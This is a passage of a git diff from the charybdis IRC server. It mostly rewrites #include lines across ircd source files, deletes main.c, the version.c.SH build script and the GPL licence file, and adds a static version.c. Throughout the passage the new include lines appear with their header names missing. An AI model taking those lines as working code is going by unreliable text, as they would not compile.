"s_serv.h" /* try_connections */ -#include "s_user.h" -#include "s_stats.h" -#include "scache.h" -#include "send.h" -#include "supported.h" -#include "whowas.h" -#include "modules.h" -#include "hook.h" -#include "ircd_getopt.h" -#include "newconf.h" -#include "reject.h" -#include "s_newconf.h" -#include "cache.h" -#include "monitor.h" -#include "patchlevel.h" -#include "serno.h" -#include "sslproc.h" -#include "wsproc.h" -#include "chmode.h" -#include "privilege.h" -#include "bandbi.h" -#include "authproc.h" -#include "operhash.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* msgtab */ +#include +#include +#include +#include +#include +#include +#include /* try_connections */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static void ircd_die_cb(const char *str) __attribute__((noreturn)); diff --git a/ircd/ircd_lexer.l b/ircd/ircd_lexer.l index 46514cbfd..b2401a476 100644 --- a/ircd/ircd_lexer.l +++ b/ircd/ircd_lexer.l @@ -31,12 +31,12 @@ #define WE_ARE_MEMORY_C -#include "stdinc.h" -#include "ircd_defs.h" -#include "defaults.h" -#include "logger.h" -#include "s_conf.h" -#include "newconf.h" +#include +#include +#include +#include +#include +#include #include "ircd_parser.h" diff --git a/ircd/ircd_parser.y b/ircd/ircd_parser.y index 86ce21eb8..6951e91c5 100644 --- a/ircd/ircd_parser.y +++ b/ircd/ircd_parser.y @@ -11,13 +11,11 @@ #include #include #define WE_ARE_MEMORY_C -#include "stdinc.h" -#include "setup.h" -#include "ircd_defs.h" -#include "defaults.h" -#include "client.h" -#include "modules.h" -#include "newconf.h" +#include +#include +#include +#include +#include #define YY_NO_UNPUT diff --git a/ircd/ircd_signal.c b/ircd/ircd_signal.c index 2c4070c1f..8e4dec3ba 100644 --- a/ircd/ircd_signal.c +++ b/ircd/ircd_signal.c @@ -18,14 +18,14 @@ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ -#include "stdinc.h" -#include "ircd_signal.h" -#include "ircd.h" /* dorehash */ -#include "restart.h" /* server_reboot */ -#include "logger.h" -#include "s_conf.h" -#include "client.h" -#include "send.h" +#include +#include +#include /* dorehash */ +#include /* server_reboot */ +#include +#include +#include +#include #ifndef _WIN32 diff --git a/ircd/listener.c b/ircd/listener.c index ba4a11505..bfd03acc8 100644 --- a/ircd/listener.c +++ b/ircd/listener.c @@ -22,26 +22,24 @@ * USA */ -#include "stdinc.h" -#include "setup.h" -#include "listener.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "ircd_defs.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "s_stats.h" -#include "send.h" -#include "authproc.h" -#include "reject.h" -#include "hostmask.h" -#include "sslproc.h" -#include "wsproc.h" -#include "hash.h" -#include "s_assert.h" -#include "logger.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include #if defined(NO_IN6ADDR_ANY) && defined(RB_IPV6) static const struct in6_addr in6addr_any = diff --git a/ircd/logger.c b/ircd/logger.c index ff7697a40..915baae49 100644 --- a/ircd/logger.c +++ b/ircd/logger.c @@ -32,13 +32,12 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "ircd_defs.h" -#include "logger.h" -#include "s_conf.h" -#include "send.h" -#include "client.h" -#include "s_serv.h" +#include +#include +#include +#include +#include +#include static FILE *log_main; static FILE *log_user; diff --git a/ircd/main.c b/ircd/main.c deleted file mode 100644 index 16771ed48..000000000 --- a/ircd/main.c +++ /dev/null @@ -1,9 +0,0 @@ -/* This file is in the public domain. */ - -extern int charybdis_main(int argc, const char *argv[]); - -int -main(int argc, const char *argv[]) -{ - return charybdis_main(argc, argv); -} diff --git a/ircd/match.c b/ircd/match.c index 165baeabc..9ca2ca8b8 100644 --- a/ircd/match.c +++ b/ircd/match.c @@ -17,12 +17,12 @@ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * */ -#include "stdinc.h" -#include "defaults.h" -#include "client.h" -#include "ircd.h" -#include "match.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include /* * Compare if a given string (name) matches the given diff --git a/ircd/modules.c b/ircd/modules.c index 6e4b9e4fb..6f27a7091 100644 --- a/ircd/modules.c +++ b/ircd/modules.c @@ -22,20 +22,19 @@ * USA */ -#include "stdinc.h" -#include "modules.h" -#include "logger.h" -#include "ircd.h" -#include "client.h" -#include "send.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "numeric.h" -#include "parse.h" -#include "ircd_defs.h" -#include "match.h" -#include "s_serv.h" -#include "capability.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include #include diff --git a/ircd/monitor.c b/ircd/monitor.c index ff15bcd4d..8125784e4 100644 --- a/ircd/monitor.c +++ b/ircd/monitor.c @@ -29,13 +29,12 @@ * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "client.h" -#include "monitor.h" -#include "hash.h" -#include "numeric.h" -#include "send.h" -#include "rb_radixtree.h" +#include +#include +#include +#include +#include +#include static rb_radixtree *monitor_tree; diff --git a/ircd/msgbuf.c b/ircd/msgbuf.c index 50538d270..8a249e719 100644 --- a/ircd/msgbuf.c +++ b/ircd/msgbuf.c @@ -19,11 +19,10 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "ircd_defs.h" -#include "msgbuf.h" -#include "client.h" -#include "ircd.h" +#include +#include +#include +#include /* * parse a message into a MsgBuf. diff --git a/ircd/newconf.c b/ircd/newconf.c index 0c89e2520..cc1a3caed 100644 --- a/ircd/newconf.c +++ b/ircd/newconf.c @@ -1,34 +1,33 @@ /* This code is in the public domain. */ -#include "stdinc.h" +#include #ifdef HAVE_LIBCRYPTO #include #include #endif -#include "newconf.h" -#include "ircd_defs.h" -#include "logger.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_newconf.h" -#include "send.h" -#include "setup.h" -#include "modules.h" -#include "listener.h" -#include "hostmask.h" -#include "s_serv.h" -#include "hash.h" -#include "cache.h" -#include "ircd.h" -#include "snomask.h" -#include "sslproc.h" -#include "wsproc.h" -#include "privilege.h" -#include "chmode.h" -#include "certfp.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include #define CF_TYPE(x) ((x) & CF_MTYPE) diff --git a/ircd/operhash.c b/ircd/operhash.c index 6d1948e6e..fbee05786 100644 --- a/ircd/operhash.c +++ b/ircd/operhash.c @@ -30,12 +30,10 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include -#include "stdinc.h" -#include "match.h" -#include "hash.h" -#include "operhash.h" -#include "rb_radixtree.h" +#include +#include +#include +#include static rb_radixtree *operhash_tree = NULL; diff --git a/ircd/packet.c b/ircd/packet.c index ef8de04d6..77210418e 100644 --- a/ircd/packet.c +++ b/ircd/packet.c @@ -21,17 +21,17 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ -#include "stdinc.h" -#include "s_conf.h" -#include "s_serv.h" -#include "client.h" -#include "ircd.h" -#include "parse.h" -#include "packet.h" -#include "match.h" -#include "hook.h" -#include "send.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static char readBuf[READBUF_SIZE]; static void client_dopacket(struct Client *client_p, char *buffer, size_t length); diff --git a/ircd/parse.c b/ircd/parse.c index d6f83b430..d8f34d615 100644 --- a/ircd/parse.c +++ b/ircd/parse.c @@ -23,23 +23,23 @@ * USA */ -#include "stdinc.h" -#include "parse.h" -#include "client.h" -#include "channel.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "logger.h" -#include "s_stats.h" -#include "send.h" -#include "msg.h" -#include "msgbuf.h" -#include "s_conf.h" -#include "s_serv.h" -#include "packet.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include rb_dictionary *cmd_dict = NULL; rb_dictionary *alias_dict = NULL; diff --git a/ircd/privilege.c b/ircd/privilege.c index d81bf8f3a..6c3216504 100644 --- a/ircd/privilege.c +++ b/ircd/privilege.c @@ -21,13 +21,13 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include -#include "s_conf.h" -#include "privilege.h" -#include "numeric.h" -#include "s_assert.h" -#include "logger.h" -#include "send.h" +#include +#include +#include +#include +#include +#include +#include static rb_dlink_list privilegeset_list = {NULL, NULL, 0}; diff --git a/ircd/ratelimit.c b/ircd/ratelimit.c index 80a3701c9..0c90d29be 100644 --- a/ircd/ratelimit.c +++ b/ircd/ratelimit.c @@ -21,11 +21,11 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "s_conf.h" -#include "s_stats.h" -#include "ratelimit.h" -#include "s_assert.h" +#include +#include +#include +#include +#include /* * ratelimit_client(struct Client *client_p, int penalty) diff --git a/ircd/reject.c b/ircd/reject.c index 90f4f1e84..081d86c43 100644 --- a/ircd/reject.c +++ b/ircd/reject.c @@ -21,18 +21,18 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "s_conf.h" -#include "reject.h" -#include "s_stats.h" -#include "ircd.h" -#include "send.h" -#include "numeric.h" -#include "parse.h" -#include "hostmask.h" -#include "match.h" -#include "hash.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static rb_patricia_tree_t *reject_tree; static rb_dlink_list delay_exit; diff --git a/ircd/restart.c b/ircd/restart.c index 2db2a2ec1..9bbf60244 100644 --- a/ircd/restart.c +++ b/ircd/restart.c @@ -22,14 +22,14 @@ * USA */ -#include "stdinc.h" -#include "restart.h" -#include "ircd.h" -#include "send.h" -#include "logger.h" -#include "s_conf.h" -#include "client.h" -#include "ircd_signal.h" +#include +#include +#include +#include +#include +#include +#include +#include /* external var */ extern char * const *myargv; diff --git a/ircd/s_conf.c b/ircd/s_conf.c index d907f05f9..f07745c7a 100644 --- a/ircd/s_conf.c +++ b/ircd/s_conf.c @@ -22,36 +22,35 @@ * USA */ -#include "stdinc.h" -#include "ircd_defs.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "newconf.h" -#include "s_serv.h" -#include "s_stats.h" -#include "channel.h" -#include "class.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "listener.h" -#include "hostmask.h" -#include "modules.h" -#include "numeric.h" -#include "logger.h" -#include "send.h" -#include "reject.h" -#include "cache.h" -#include "privilege.h" -#include "sslproc.h" -#include "wsproc.h" -#include "bandbi.h" -#include "operhash.h" -#include "chmode.h" -#include "hook.h" -#include "s_assert.h" -#include "authproc.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include struct config_server_hide ConfigServerHide; diff --git a/ircd/s_newconf.c b/ircd/s_newconf.c index 9ae02b571..8ff1ab795 100644 --- a/ircd/s_newconf.c +++ b/ircd/s_newconf.c @@ -30,21 +30,18 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "ircd_defs.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "client.h" -#include "s_serv.h" -#include "send.h" -#include "hostmask.h" -#include "newconf.h" -#include "hash.h" -#include "rb_dictionary.h" -#include "rb_radixtree.h" -#include "s_assert.h" -#include "logger.h" -#include "dns.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include rb_dlink_list shared_conf_list; rb_dlink_list cluster_conf_list; diff --git a/ircd/s_serv.c b/ircd/s_serv.c index eba860ec2..e84a159b3 100644 --- a/ircd/s_serv.c +++ b/ircd/s_serv.c @@ -22,36 +22,37 @@ * USA */ -#include "stdinc.h" +#include #ifdef HAVE_LIBCRYPTO #include #endif -#include "s_serv.h" -#include "class.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "ircd_defs.h" -#include "numeric.h" -#include "packet.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "logger.h" -#include "s_stats.h" -#include "s_user.h" -#include "scache.h" -#include "send.h" -#include "client.h" -#include "channel.h" /* chcap_usage_counts stuff... */ -#include "hook.h" -#include "msg.h" -#include "reject.h" -#include "sslproc.h" -#include "capability.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* chcap_usage_counts stuff... */ +#include +#include +#include +#include +#include +#include int MaxConnectionCount = 1; int MaxClientCount = 1; diff --git a/ircd/s_user.c b/ircd/s_user.c index 28f395222..610709d22 100644 --- a/ircd/s_user.c +++ b/ircd/s_user.c @@ -22,35 +22,35 @@ * USA */ -#include "stdinc.h" -#include "s_user.h" -#include "channel.h" -#include "class.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "listener.h" -#include "msg.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "logger.h" -#include "s_serv.h" -#include "s_stats.h" -#include "scache.h" -#include "send.h" -#include "supported.h" -#include "whowas.h" -#include "packet.h" -#include "reject.h" -#include "cache.h" -#include "hook.h" -#include "monitor.h" -#include "snomask.h" -#include "substitution.h" -#include "chmode.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static void report_and_set_user_flags(struct Client *, struct ConfItem *); void user_welcome(struct Client *source_p); diff --git a/ircd/scache.c b/ircd/scache.c index 93f5acdc7..c42edf473 100644 --- a/ircd/scache.c +++ b/ircd/scache.c @@ -22,16 +22,15 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "scache.h" -#include "s_conf.h" -#include "s_assert.h" -#include "rb_radixtree.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include /* * ircd used to store full servernames in anUser as well as in the diff --git a/ircd/send.c b/ircd/send.c index 29f308581..ce36b3a7a 100644 --- a/ircd/send.c +++ b/ircd/send.c @@ -22,21 +22,20 @@ * USA */ -#include "stdinc.h" -#include "send.h" -#include "channel.h" -#include "class.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "logger.h" -#include "hook.h" -#include "monitor.h" -#include "msgbuf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* send the message to the link the target is attached to */ #define send_linebuf(a,b) _send_linebuf((a->from ? a->from : a) ,b) diff --git a/ircd/snomask.c b/ircd/snomask.c index d3986c2b6..d8c3a57a6 100644 --- a/ircd/snomask.c +++ b/ircd/snomask.c @@ -31,9 +31,9 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "client.h" -#include "snomask.h" +#include +#include +#include /* *INDENT-OFF* */ int snomask_modes[256] = { diff --git a/ircd/sslproc.c b/ircd/sslproc.c index b8d551bbe..370b2b1a7 100644 --- a/ircd/sslproc.c +++ b/ircd/sslproc.c @@ -19,21 +19,18 @@ * USA */ -#include -#include "stdinc.h" - - -#include "s_conf.h" -#include "logger.h" -#include "listener.h" -#include "sslproc.h" -#include "s_serv.h" -#include "ircd.h" -#include "hash.h" -#include "client.h" -#include "send.h" -#include "packet.h" -#include "certfp.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include #define ZIPSTATS_TIME 60 diff --git a/ircd/substitution.c b/ircd/substitution.c index 593bbd1d8..316ed727a 100644 --- a/ircd/substitution.c +++ b/ircd/substitution.c @@ -31,12 +31,12 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "s_user.h" -#include "snomask.h" -#include "match.h" -#include "substitution.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include /* * Simple mappings for $foo -> 'bar'. diff --git a/ircd/supported.c b/ircd/supported.c index ab61f54fc..29b447253 100644 --- a/ircd/supported.c +++ b/ircd/supported.c @@ -70,15 +70,15 @@ * All unknown/unlisted modes are treated as type D. */ -#include "stdinc.h" -#include "client.h" -#include "numeric.h" -#include "ircd.h" -#include "s_conf.h" -#include "s_user.h" -#include "supported.h" -#include "chmode.h" -#include "send.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include rb_dlink_list isupportlist; diff --git a/ircd/tgchange.c b/ircd/tgchange.c index 0db3a1948..201847174 100644 --- a/ircd/tgchange.c +++ b/ircd/tgchange.c @@ -22,16 +22,16 @@ * USA */ -#include "stdinc.h" -#include "tgchange.h" -#include "channel.h" -#include "client.h" -#include "s_stats.h" -#include "hash.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "s_serv.h" -#include "send.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static int add_hashed_target(struct Client *source_p, uint32_t hashv); diff --git a/ircd/version.c b/ircd/version.c new file mode 100644 index 000000000..14c99a115 --- /dev/null +++ b/ircd/version.c @@ -0,0 +1,46 @@ +/* + * librb: a library used by charybdis and other things + * src/version.c + * + * Copyright (C) 1990 Chelsea Ashley Dyerman + * Copyright (C) 2008 ircd-ratbox development team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2, or (at your option) + * any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include + +const char *ircd_version = RB_VERSION; +const char *ircd_datestr = RB_DATESTR; +const time_t ircd_datecode = RB_DATECODE; + +const char *creation = RB_DATESTR; +const char *serno = RB_DATESTR; +const time_t datecode = RB_DATECODE; + +const char *infotext[] = +{ +"IRCd", +"Based on the original code written by Jarkko Oikarinen", +"Copyright (c) 1988-1991 University of Oulu, Computing Center", +"Copyright (c) 1996-2001 Hybrid Development Team", +"Copyright (c) 2002-2009 ircd-ratbox Development Team", +"Copyright (c) 2005-2016 charybdis development team", +" ", +"This program is free software; you can redistribute it and/or", +"modify it under the terms of the GNU General Public License as", +"published by the Free Software Foundation; either version 2, or", +"(at your option) any later version.", +}; diff --git a/ircd/version.c.SH b/ircd/version.c.SH deleted file mode 100644 index 1eccf4501..000000000 --- a/ircd/version.c.SH +++ /dev/null @@ -1,83 +0,0 @@ -#!/bin/sh - -spitshell=cat -package=charybdis - -echo "Extracting $package/src/version.c..." - -if test -r version.c.last -then - generation=`sed -n 's/^const char \*generation = \"\(.*\)\";/\1/p' < version.c.last` - if test ! "$generation" ; then generation=0; fi -else - generation=0 -fi - -generation=`expr $generation + 1` - -if test "$EXTERNAL_BUILD_TIMESTAMP" = ''; then - creation=`LC_ALL=C date | \ -awk '{if (NF == 6) \ - { print $1 " " $2 " " $3 " " $6 " at " $4 " " $5 } \ -else \ - { print $1 " " $2 " " $3 " " $7 " at " $4 " " $5 " " $6 }}'` -else - creation="$EXTERNAL_BUILD_TIMESTAMP" -fi - -$spitshell >version.c <> version.c -$spitshell >>version.c < +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include struct whowas_top { diff --git a/ircd/wsproc.c b/ircd/wsproc.c index 2a0d34ace..c6fb7f404 100644 --- a/ircd/wsproc.c +++ b/ircd/wsproc.c @@ -19,20 +19,17 @@ * USA */ -#include -#include "stdinc.h" - - -#include "s_conf.h" -#include "logger.h" -#include "listener.h" -#include "wsproc.h" -#include "s_serv.h" -#include "ircd.h" -#include "hash.h" -#include "client.h" -#include "send.h" -#include "packet.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static void ws_read_ctl(rb_fde_t * F, void *data); static int wsockd_count; diff --git a/librb/COPYING b/librb/COPYING deleted file mode 100644 index ac131e6d9..000000000 --- a/librb/COPYING +++ /dev/null @@ -1,340 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 2, June 1991 - - Copyright (C) 1989, 1991 Free Software Foundation, Inc. - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -License is intended to guarantee your freedom to share and change free -software--to make sure the software is free for all its users. This -General Public License applies to most of the Free Software -Foundation's software and to any other program whose authors commit to -using it. (Some other Free Software Foundation software is covered by -the GNU Library General Public License instead.) You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -this service if you wish), that you receive source code or can get it -if you want it, that you can change the software or use pieces of it -in new free programs; and that you know you can do these things. - - To protect your rights, we need to make restrictions that forbid -anyone to deny you these rights or to ask you to surrender the rights. -These restrictions translate to certain responsibilities for you if you -distribute copies of the software, or if you modify it. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must give the recipients all the rights that -you have. You must make sure that they, too, receive or can get the -source code. And you must show them these terms so they know their -rights. - - We protect your rights with two steps: (1) copyright the software, and -(2) offer you this license which gives you legal permission to copy, -distribute and/or modify the software. - - Also, for each author's protection and ours, we want to make certain -that everyone understands that there is no warranty for this free -software. If the software is modified by someone else and passed on, we -want its recipients to know that what they have is not the original, so -that any problems introduced by others will not reflect on the original -authors' reputations. - - Finally, any free program is threatened constantly by software -patents. We wish to avoid the danger that redistributors of a free -program will individually obtain patent licenses, in effect making the -program proprietary. To prevent this, we have made it clear that any -patent must be licensed for everyone's free use or not licensed at all. - - The precise terms and conditions for copying, distribution and -modification follow. - - GNU GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License applies to any program or other work which contains -a notice placed by the copyright holder saying it may be distributed -under the terms of this General Public License. The "Program", below, -refers to any such program or work, and a "work based on the Program" -means either the Program or any derivative work under copyright law: -that is to say, a work containing the Program or a portion of it, -either verbatim or with modifications and/or translated into another -language. (Hereinafter, translation is included without limitation in -the term "modification".) Each licensee is addressed as "you". - -Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running the Program is not restricted, and the output from the Program -is covered only if its contents constitute a work based on the -Program (independent of having been made by running the Program). -Whether that is true depends on what the Program does. - - 1. You may copy and distribute verbatim copies of the Program's -source code as you receive it, in any medium, provided that you -conspicuously and appropriately publish on each copy an appropriate -copyright notice and disclaimer of warranty; keep intact all the -notices that refer to this License and to the absence of any warranty; -and give any other recipients of the Program a copy of this License -along with the Program. - -You may charge a fee for the physical act of transferring a copy, and -you may at your option offer warranty protection in exchange for a fee. - - 2. You may modify your copy or copies of the Program or any portion -of it, thus forming a work based on the Program, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) You must cause the modified files to carry prominent notices - stating that you changed the files and the date of any change. - - b) You must cause any work that you distribute or publish, that in - whole or in part contains or is derived from the Program or any - part thereof, to be licensed as a whole at no charge to all third - parties under the terms of this License. - - c) If the modified program normally reads commands interactively - when run, you must cause it, when started running for such - interactive use in the most ordinary way, to print or display an - announcement including an appropriate copyright notice and a - notice that there is no warranty (or else, saying that you provide - a warranty) and that users may redistribute the program under - these conditions, and telling the user how to view a copy of this - License. (Exception: if the Program itself is interactive but - does not normally print such an announcement, your work based on - the Program is not required to print an announcement.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Program, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Program, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Program. - -In addition, mere aggregation of another work not based on the Program -with the Program (or with a work based on the Program) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may copy and distribute the Program (or a work based on it, -under Section 2) in object code or executable form under the terms of -Sections 1 and 2 above provided that you also do one of the following: - - a) Accompany it with the complete corresponding machine-readable - source code, which must be distributed under the terms of Sections - 1 and 2 above on a medium customarily used for software interchange; or, - - b) Accompany it with a written offer, valid for at least three - years, to give any third party, for a charge no more than your - cost of physically performing source distribution, a complete - machine-readable copy of the corresponding source code, to be - distributed under the terms of Sections 1 and 2 above on a medium - customarily used for software interchange; or, - - c) Accompany it with the information you received as to the offer - to distribute corresponding source code. (This alternative is - allowed only for noncommercial distribution and only if you - received the program in object code or executable form with such - an offer, in accord with Subsection b above.) - -The source code for a work means the preferred form of the work for -making modifications to it. For an executable work, complete source -code means all the source code for all modules it contains, plus any -associated interface definition files, plus the scripts used to -control compilation and installation of the executable. However, as a -special exception, the source code distributed need not include -anything that is normally distributed (in either source or binary -form) with the major components (compiler, kernel, and so on) of the -operating system on which the executable runs, unless that component -itself accompanies the executable. - -If distribution of executable or object code is made by offering -access to copy from a designated place, then offering equivalent -access to copy the source code from the same place counts as -distribution of the source code, even though third parties are not -compelled to copy the source along with the object code. - - 4. You may not copy, modify, sublicense, or distribute the Program -except as expressly provided under this License. Any attempt -otherwise to copy, modify, sublicense or distribute the Program is -void, and will automatically terminate your rights under this License. -However, parties who have received copies, or rights, from you under -this License will not have their licenses terminated so long as such -parties remain in full compliance. - - 5. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Program or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Program (or any work based on the -Program), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Program or works based on it. - - 6. Each time you redistribute the Program (or any work based on the -Program), the recipient automatically receives a license from the -original licensor to copy, distribute or modify the Program subject to -these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties to -this License. - - 7. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Program at all. For example, if a patent -license would not permit royalty-free redistribution of the Program by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Program. - -If any portion of this section is held invalid or unenforceable under -any particular circumstance, the balance of the section is intended to -apply and the section as a whole is intended to apply in other -circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system, which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 8. If the distribution and/or use of the Program is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Program under this License -may add an explicit geographical distribution limitation excluding -those countries, so that distribution is permitted only in or among -countries not thus excluded. In such case, this License incorporates -the limitation as if written in the body of this License. - - 9. The Free Software Foundation may publish revised and/or new versions -of the General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - -Each version is given a distinguishing version number. If the Program -specifies a version number of this License which applies to it and "any -later version", you have the option of following the terms and conditions -either of that version or of any later version published by the Free -Software Foundation. If the Program does not specify a version number of -this License, you may choose any version ever published by the Free Software -Foundation. - - 10. If you wish to incorporate parts of the Program into other free -programs whose distribution conditions are different, write to the author -to ask for permission. For software which is copyrighted by the Free -Software Foundation, write to the Free Software Foundation; we sometimes -make exceptions for this. Our decision will be guided by the two goals -of preserving the free status of all derivatives of our free software and -of promoting the sharing and reuse of software generally. - - NO WARRANTY - - 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY -FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN -OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES -PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED -OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS -TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE -PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, -REPAIR OR CORRECTION. - - 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR -REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, -INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING -OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED -TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY -YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER -PROGRAMS), EVEN IF SUCH HOLDER OR OTHER 